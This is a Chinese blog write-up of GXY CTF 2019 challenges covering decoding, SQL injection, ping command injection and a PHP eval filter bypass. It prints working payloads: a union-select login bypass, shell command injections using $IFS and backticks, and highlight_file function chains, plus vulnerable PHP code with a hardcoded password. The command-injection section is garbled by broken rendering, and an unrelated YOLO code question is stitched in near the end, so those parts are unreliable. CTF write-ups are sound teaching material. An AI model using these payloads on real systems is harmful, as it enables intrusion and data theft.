GXY-CTF


title: GXY_CTF
date: 2019-12-25 21:55:30
tags: [“CTF”]
categories: [“技术”]

这次是北京工业大学的比赛,题目很基础,自己也比较菜😂

佛系青年

说下感悟,这道题的txt文本是损坏的,所以正常的解法是用16进制软件打开,然后吧txt里的内容另存为。
但是以前一次偶然的机会,我在电脑里安装了一种解压软件–解压专家,用其打开,可以恢复破损的文件,所以直接就能打开,hhhhhhh~
txt文本
然后看到一段佛文,一开始不知道是啥,百度得知,这是个加密的方式,在线解密就好
解密

checkln

首先打开文件,得到一堆base64(dikqTCpfRjA8fUBIMD5GNDkwMjNARkUwI0BFTg==)
打开文件
解密后得到一大串乱码(v)L_F0}@H0F49023@FE0#@EN)
base64
再转ROT47即可得到flag:GXY{Y0u_kNow_much_about_Rot}
rot47

BabySqli v1.0

这题进去之后会给你个提示是用hash加密的,最近在学密码学,所以最先考虑的是md5,而且这题考查的是sql注入,所以想到了以前的一道题

<?php
if($_POST["user"] && $_POST["pass"]) {
	$mysqli = new mysqli("localhost", "root", "2wsx3edctf", "challenges");  
    
    $user = $_POST["user"];
    $pass = md5($_POST["pass"]);
    $sql = "select pwd from interest where uname='$user'";
    $result = $mysqli->query($sql);  
    $row = $result->fetch_assoc();
    //echo $row["pwd"];
    if (($row["pwd"]) && (!strcasecmp($pass, $row["pwd"]))) {
        echo "<p>Logged in! Key:flag{xiaohdaldahdkajsdhja} </p>";
    }
    else {
        echo("<p>Log in failure!</p>");
    }
	$result->free(); 
	$mysqli->close();  
}
else{

    echo "nonono";
}
?>

大致的意思就是我们我们传入的会通过md5加密,和数据库的md5比较,如果成功就得到flag.但我们并不知道数据库中的md5所以只能我们自己构造值传到php
构造如下语句
name=ad'union select '1','admin','3f898d258f71099c3164a570cc27bd8d'&pw=disshu
首先找到个注入点,这个不多说。但是我们怎么知道回显的列数是三个呢,这里是用sqlmap实现的,得到3列
babysqli 1

ping ping ping

首先我们输入127.0.0.1;ls会发现里面的有flag.php index.php
index
下面介绍两种方法,首先用$IFS 9 的 方 式 过 滤 空 格 , 这 个 过 滤 方 法 百 试 不 厌 , ; c a t 9的方式过滤空格,这个过滤方法百试不厌,;cat 9;catIFS 9 i n d e x . p h p ! [ i n d e x . p h p ] ( h t t p s : / / i m g − b l o g . c s d n i m g . c n / 20191226092305995. p n g ? x − o s s − p r o c e s s = i m a g e / w a t e r m a r k , t y p e Z m F u Z 3 p o Z W 5 n a G V p d G k , s h a d o w 1 0 , t e x t a H R 0 c H M 6 L y 9 i b G 9 n L m N z Z G 4 u b m V 0 L 3 F x X z Q z M j M 1 N D A 2 , s i z e 1 6 , c o l o r F F F F F F , t 7 0 ) 发 现 正 则 匹 配 用 的 ( . ) 所 以 我 们 可 以 对 f l a g 绕 过 ‘ ; b = g ; c a t 9index.php ![index.php](https://img-blog.csdnimg.cn/20191226092305995.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzMjM1NDA2,size_16,color_FFFFFF,t_70) 发现正则匹配用的(.)所以我们可以对flag绕过 `;b=g;cat 9index.php![index.php](https://imgblog.csdnimg.cn/20191226092305995.png?xossprocess=image/watermark,typeZmFuZ3poZW5naGVpdGk,shadow10,textaHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQzMjM1NDA2,size16,colorFFFFFF,t70)(.)flag;b=g;catIFS 9 f l a 9fla 9flab.php`
flag
第二种是v&n的师傅的思路,直接

cat$IFS$9`ls`

禁止套娃

这道题跟之前有一个比赛很像,好像是字节跳动的题,但是这道题需要有百度域名所以就没做。
首先拿到题目我们扫一遍目录.
在这里插入图片描述
发现有git源码泄露,把它downloads下来

"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z|\-]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|nt|info|dec|bin|hex|oct|pi|log/i', $code)) { // echo $_GET['exp']; eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>

首先这道题过掉了所有的协议,这很给力。
重点看这个正则匹配(?R)说明我们只能用小括号匹配
我们重点首先访问当前目录
print_r(scandir('.'));
但是这个.我们被匹配掉了
所以只能构造函数了
?exp=print_r(scandir(current(localeconv())));
在这里插入图片描述
发现得到其中的文件,php有两个函数
array_flip,php官方文档是这么解释的
array_flip() 函数用于反转/交换数组中的键名和对应关联的键值。
重点是下一个函数
array_rand()函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
所以我们就可以构造如下payloads
highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
这题看运气,随机到flag…
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
上述211行附近的代码如下,请具体指出问题 def build_targets(self, p, targets): # Build targets for compute_loss(), input targets(image,class,x,y,w,h) na, nt = self.na, targets.shape[0] # number of anchors, targets tcls, tbox, indices, anch = [], [], [], [] gain = torch.ones(7, device=targets.device) # normalized to gridspace gain ai = torch.arange(na, device=targets.device).float().view(na, 1).repeat(1, nt) # same as .repeat_interleave(nt) targets = torch.cat((targets.repeat(na, 1, 1), ai[:, :, None]), 2) # append anchor indices g = 0.5 # bias off = torch.tensor([[0, 0], [1, 0], [0, 1], [-1, 0], [0, -1], # j,k,l,m # [1, 1], [1, -1], [-1, 1], [-1, -1], # jk,jm,lk,lm ], device=targets.device).float() * g # offsets for i in range(self.nl): anchors = self.anchors[i] gain[2:6] = torch.tensor(p[i].shape)[[3, 2, 3, 2]] # xyxy gain # Match targets to anchors t = targets * gain if nt: # Matches r = t[:, :, 4:6] / anchors[:, None] # wh ratio j = torch.max(r, 1. / r).max(2)[0] < self.hyp['anchor_t'] # compare # j = wh_iou(anchors, t[:, 4:6]) > model.hyp['iou_t'] # iou(3,n)=wh_iou(anchors(3,2), gwh(n,2)) t = t[j] # filter # Offsets gxy = t[:, 2:4] # grid xy gxi = gain[[2, 3]] - gxy # inverse j, k = ((gxy % 1. < g) & (gxy > 1.)).T l, m = ((gxi % 1. < g) & (gxi > 1.)).T j = torch.stack((torch.ones_like(j), j, k, l, m)) t = t.repeat((5, 1, 1))[j] offsets = (torch.zeros_like(gxy)[None] + off[:, None])[j] else: t = targets[0] offsets = 0 # Define b, c = t[:, :2].long().T # image, class gxy = t[:, 2:4] # grid xy gwh = t[:, 4:6] # grid wh gij = (gxy - offsets).long() gi, gj = gij.T # grid xy indices # Append a = t[:, 6].long() # anchor indices indices.append((b, a, gj.clamp_(0, gain[3] - 1), gi.clamp_(0, gain[2] - 1))) # image, anchor, grid indices tbox.append(torch.cat((gxy - gij, gwh), 1)) # box anch.append(anchors[a]) # anchors tcls.append(c) # class return tcls, tbox, indices, anch
最新发布
07-17

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值